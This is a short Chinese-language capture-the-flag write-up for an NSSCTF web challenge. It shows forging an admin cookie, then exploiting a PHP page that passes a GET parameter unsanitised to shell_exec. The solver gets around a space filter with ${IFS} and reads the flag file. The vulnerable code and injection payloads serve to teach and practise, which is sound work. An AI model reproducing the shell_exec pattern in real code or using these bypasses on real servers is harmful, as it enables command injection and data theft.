补充知识
1.修改cookie
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?>
使用hackbar添加cookie,admin=1
访问新文件:rasalghul.php
2.绕过字符过滤,执行Linux命令
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
因为过滤了空格,所以使用${IFS}代替空格
IFS{IFS}是一个Shell内置变量,它表示“Internal Field Separator”(内部字段分隔符),用于在Shell脚本或命令中指定用于分隔单词的字符集,在 Shell 脚本或命令中使用空格来分隔参数和选项是正确的。
输入:http://node4.anna.nssctf.cn:28539/rasalghul.php?url=ls${IFS}/
得到: bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
查看flllllaaaaaaggggggg下的文件
输入:http://node4.anna.nssctf.cn:28539/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg
得到:flag




Comments NOTHING